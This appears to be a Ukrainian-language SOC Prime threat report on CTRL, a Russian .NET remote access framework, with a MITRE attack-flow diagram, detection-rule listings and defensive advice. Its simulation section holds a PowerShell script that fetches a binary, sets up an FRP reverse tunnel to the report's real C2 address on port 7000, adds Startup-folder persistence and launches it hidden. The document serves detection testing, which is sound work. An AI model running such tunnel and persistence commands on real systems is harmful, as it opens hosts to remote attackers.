SOC Prime Bias: Критичний

31 Mar 2026 17:07

Під контролем: Аналіз раніше недокументованої російської .Net платформи доступу

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Під контролем: Аналіз раніше недокументованої російської .Net платформи доступу
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Censys ARC виявив раніше не задокументований російський інструмент дистанційного доступу під назвою CTRL, який поєднує фішинг облікових даних, кейлогінг, викрадення RDP і зворотні тунелі на основі FRP. Фреймворк доставляється через шкідливий LNK файл і приховує свої виконувані файли у реєстрі Windows, де вони пізніше завантажуються безпосередньо в пам’ять. Його мережева інфраструктура включає домен hui228.ru та дві IP-адреси, які працюють з сервером FRP на порту 7000. Інструмент націлений на хости Windows і зберігає стійкість через заплановані завдання, приховані локальні облікові записи користувачів і зміни на основі реєстру.

Розслідування

Дослідники виявили LNK дропер, відновили пошаровий завантажувач PowerShell та простежили багаторівневі .NET виконувані файли, збережені як REG_BINARY значення під реєстровими ключами Explorer. Завантажувач потім завантажує подальші корисні навантаження, створює прихований завантажувач ctrl.exe, налаштовує тунелі FRP й розгортає RDP Wrapper для дозволу необмежених віддалених сесій. Жоден з виявлених артефактів не з’являвся в публічних джерелах розвідки загроз, що вказує на те, що фреймворк є приватною і цілеспрямовано розробленою платформою доступу.

Пом’якшення

Захисники повинні звертати увагу на дивні записи реєстру під ключами Explorer, створення запланованих завдань з іменами DriverSvcTask, NetTcpSvc, TermSvcHost або WindowsHealthMonitor, а також приховані локальні облікові записи, додані до груп Адміністратори або Користувачі віддаленого робочого столу. Вихідні з’єднання до виявлених IP-адрес і FRP порту 7000 повинні бути заблоковані, а трафік протоколу FRP на несподіваних системах має бути позначено. Неавторизовані установки FRP або RDP Wrapper повинні бути видалені, а виконання PowerShell має бути суворо контролюваним.

Відповідь

Якщо виявлено активність, пов’язану з CTRL, ізолюйте кінцеву точку, отримайте LNK файл та відповідний вулик реєстру для судової експертизи, зупиніть процес ctrl.exe та видаліть пов’язані заплановані завдання. Будь-які знову створені локальні облікові записи повинні бути відключені, неавторизовані дозволи RDP скасовані, а викрадені облікові дані змінені. Команди повинні потім перевірити ширше середовище на предмет додаткових серверів FRP та оновити правила виявлення, використовуючи спостережувані IOC.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Дія</b> – <b>T1204.002 Виконання від імені користувача</b>: Потерпілий клацає на шкідливій .lnk іконці"] class action_user_exec action action_lnk_smuggle["<b>Дія</b> – <b>T1027.012 Іконка LNK Смужлінг</b>: Ярлык маскується під значок папки"] class action_lnk_smuggle action action_powershell["<b>Дія</b> – <b>T1059.001 PowerShell</b>: Прихована команда PowerShell декодує завантаження"] class action_powershell action action_deobfuscate["<b>Дія</b> – <b>T1140 Деобфускація/Декодування файлів</b>: Кілька етапів Base64 і Deflate"] class action_deobfuscate action action_obfuscation["<b>Дія</b> – <b>T1027 Обфусковані файли або інформація</b>: Рандомізовані імена змінних та конструювання рядків під час виконання"] class action_obfuscation action action_shortcut_persistence["<b>Дія</b> – <b>T1547.009 Модифікація ярликів</b>: LNK слугує механізмом стійкості"] class action_shortcut_persistence action action_scheduled_tasks["<b>Дія</b> – <b>T1053 Заплановані завдання/Робота</b>: Створено чотири завдання для запуску виконуваних файлів під час старту"] class action_scheduled_tasks action action_create_account["<b>Дія</b> – <b>T1136.001 Створення облікового запису</b>: Додано прихований локальний обліковий запис адміністратора"] class action_create_account action action_uac_bypass["<b>Дія</b> – <b>T1548 Зловживання механізмом підвищення прав</b>: Включення fодhelper.exe для обходу UAC"] class action_uac_bypass action action_proxy_execution["<b>Дія</b> – <b>T1218 Виконання системного бінарного проксі</b>: wlrmdr.exe використовується для запуску завантаження з підвищеними правами"] class action_proxy_execution action action_priv_esc["<b>Дія</b> – <b>T1068 Експлуатація для підвищення привілеїв</b>: патчі termsrv.dll та установка RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Дія</b> – <b>T1036 Маскування</b>: Файли розміщені в прихованих каталогах з легітиимними&&#8301;виглядаючими іменами"] class action_masquerade action action_hide_artifacts["<b>Дія</b> – <b>T1564 Приховування артефактів</b>: Виключення захисника, підробка міток часу, імітація реєстру"] class action_hide_artifacts action action_keylogging["<b>Дія</b> – <b>T1056.001 Захоплення входів – Кейлоггинг</b>: Низько&&#8301;рівневе перехоплення клавіш зберігається в C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Дія</b> – Збір облікових даних: Користувальницький інтерфейс WPF Windows Hello захоплює PIN-коди"] class action_cred_harvest action action_rdp["<b>Дія</b> – <b>T1021.001 Віддалені сервіси – RDP</b>: RDP Wrapper надає доступ до віддаленого робочого столу"] class action_rdp action action_rdp_hijack["<b>Дія</b> – <b>T1563.002 Викрадення сеансу віддалених послуг</b>: Атакуючий переглядає активні сеанси через mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Дія</b> – <b>T1090.002 Проксі – Зовнішній проксі</b>: FRP тунель до hui228.ru:7000 діє як зовнішній проксі"] class action_frp_proxy action action_encrypted_channel["<b>Дія</b> – <b>T1573 Шифрований канал</b>: FRP трафік зашифрований, розшифровка навантаження AES&&#8301;256&&#8301;CBC"] class action_encrypted_channel action action_valid_accounts["<b>Дія</b> – <b>T1078.003 Вірні облікові записи – Локальні облікові записи</b>: Прихований обліковий запис адміністратора використовується для стійкості та латерального переміщення"] class action_valid_accounts action action_lateral_movement["<b>Дія</b> – Латеральний рух: Використання дійсних локальних облікових записів адміністратора для поширення в мережі"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Інструмент</b> – Озброєний .lnk Ярлик<br/><b>Файл</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Інструмент</b> – PowerShell<br/><b>Призначення</b>: Виконання прихованого скрипта, що декодує та розпаковує загрузчик .NET"] class tool_powershell tool process_stager["<b>Процес</b> – .NET Загрузчик зберігається як REG_BINARY під HKCU…Explorer"] class process_stager process tool_fodhelper["<b>Інструмент</b> – fodhelper.exe (Утиліта Windows)"] class tool_fodhelper tool tool_wlrmdr["<b>Інструмент</b> – wlrmdr.exe (підписаний бінарний файл Microsoft)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Інструмент</b> – RDP Wrapper<br/><b>Функція</b>: Дозволяє необмежену кількість одночасних сеансів RDP"] class tool_rdpwrapper tool tool_frp["<b>Інструмент</b> – FRP клієнт<br/><b>Функція</b>: Зворотний тунель до зовнішнього сервера"] class tool_frp tool keylog_file["<b>Файл</b> – C:Tempkeylog.txt<br/><b>Вміст</b>: Записані натискання клавіш"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|запускає| tool_lnk tool_lnk –>|викликає| action_lnk_smuggle action_lnk_smuggle –>|веде до| action_powershell action_powershell –>|виконує| tool_powershell tool_powershell –>|зберігає завантажене у| process_stager process_stager –>|декодоване| action_deobfuscate action_deobfuscate –>|дозволяє| action_obfuscation action_obfuscation –>|підтримує| action_shortcut_persistence action_shortcut_persistence –>|створює| action_scheduled_tasks action_scheduled_tasks –>|створює| action_create_account action_create_account –>|сприяє| action_uac_bypass action_uac_bypass –>|використовує| tool_fodhelper action_uac_bypass –>|використовує| tool_wlrmdr action_uac_bypass –>|дозволяє| action_proxy_execution action_proxy_execution –>|сприяє| action_priv_esc action_priv_esc –>|встановлює| tool_rdpwrapper action_priv_esc –>|дозволяє| action_masquerade action_masquerade –>|веде до| action_hide_artifacts action_hide_artifacts –>|додає| action_keylogging action_keylogging –>|записує у| keylog_file action_keylogging –>|підтримує| action_cred_harvest action_cred_harvest –>|дозволяє| action_rdp action_rdp –>|використовуються для| action_rdp_hijack action_rdp_hijack –>|налаштовує| action_frp_proxy action_frp_proxy –>|надає| action_encrypted_channel action_encrypted_channel –>|дозволяє| action_valid_accounts action_valid_accounts –>|потрібне для| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "

Протікання атаки

Виявлення

Можливе затінення служб віддаленого робочого столу (via registry_event)

Команда SOC Prime
31 березня 2026

Підозрілі рядки в PowerShell (via powershell)

Команда SOC Prime
31 березня 2026

Підозрілі рядки в PowerShell (via cmdline)

Команда SOC Prime
31 березня 2026

Підозрілі зміни в налаштуваннях Windows Defender (via powershell)

Команда SOC Prime
31 березня 2026

Підвищення привілеїв (обхід UAC) в FodHelper (via registry_event)

Команда SOC Prime
31 березня 2026

ІOC (HashSha256) для виявлення: Під CTRL: аналіз раніше не задокументованого російського .Net фреймворку доступу

Правила штучного інтелекту SOC Prime
31 березня 2026

ІOC (DestinationIP) для виявлення: Під CTRL: аналіз раніше не задокументованого російського .Net фреймворку доступу

Правила штучного інтелекту SOC Prime
31 березня 2026

ІOC (Emails) для виявлення: Під CTRL: аналіз раніше не задокументованого російського .Net фреймворку доступу

Правила штучного інтелекту SOC Prime
31 березня 2026

ІOC (SourceIP) для виявлення: Під CTRL: аналіз раніше не задокументованого російського .Net фреймворку доступу

Правила штучного інтелекту SOC Prime
31 березня 2026

Виявлення шкідливих з’єднань FRP зворотного тунелювання [З’єднання мережі Windows]

Правила штучного інтелекту SOC Prime
31 березня 2026

Виявлення стійкості інструмента CTRL через ключі реєстру Explorer [Подія реєстру Windows]

Правила штучного інтелекту SOC Prime
31 березня 2026

Виявлення обфускованого виконання PowerShell з закодованим завантаженням [PowerShell Windows]

Правила штучного інтелекту SOC Prime
31 березня 2026

Виконання моделювання

Попередня умова: Тестування телеметрії та базового рівня пройдено.

  • Опис атаки та команди:
    Агресор вже розгорнув FRP клієнт (frp.exe) на компрометований хост Windows через шкідливе фішингове вкладення. Для підтримки стійкості атакуючий реєструє ярлик в папці автозапуску, що запускає FRP з конфігурацією, яка вказує на C2 сервер 194.33.61.36:7000. Коли користувач входить в систему, ярлик запускає FRP, який відкриває зворотний тунель TCP до атакуючого, дозволяючи йому перенаправляти будь-який локальний сервіс (наприклад, SMB) через тунель. З’єднання з мережею, створене FRP, відповідає правилу dst_ip and dst_port критерії, які спричиняють сповіщення.

  • Сценарій регресійного тесту: (PowerShell – самостійний)

    # =============================================================================
    # FRP Reverse Tunnel Simulation – triggers Sigma rule fcb13968-1490-44c2-9f9f-c1ad2b668ce6
    # =============================================================================
    # Змінні
    $frpUrl      = "https://example.com/frp.exe"          # замініть на доступний тестовий бінарний файл
    $frpPath     = "$env:ProgramDatafrp.exe"
    $cfgPath     = "$env:ProgramDatafrp_client.ini"
    $c2Ip        = "194.33.61.36"
    $c2Port      = "7000"
    $startupLnk  = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk"
    
    # 1. Завантажити FRP бінарне (симульоване – використовуйте будь-який невеликий виконуваний файл для тесту)
    Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing
    
    # 2. Створити мінімальну конфігурацію FRP клієнта
    @"
    [common]
    server_addr = $c2Ip
    server_port = $c2Port
    
    [ssh]
    type = tcp
    local_port = 22
    remote_port = 6000
    "@ | Set-Content -Path $cfgPath -Encoding ASCII
    
    # 3. Створити ярлик у папці автозавантаження для запуску FRP під час завантаження
    $ws = New-Object -ComObject WScript.Shell
    $shortcut = $ws.CreateShortcut($startupLnk)
    $shortcut.TargetPath = $frpPath
    $shortcut.Arguments  = "-c `"$cfgPath`""
    $shortcut.WorkingDirectory = Split-Path $frpPath
    $shortcut.Save()
    
    # 4. Запустити FRP зараз (щоб ми могли негайно побачити телеметрію)
    Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden
    
    Write-Host "FRP зворотний тунель запущено. Перевірте SIEM для виявлення."
  • Команди очистки:

    # Зупинити процес FRP
    Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Видалити файли та ярлик
    Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue
    
    Write-Host "Очищування завершено."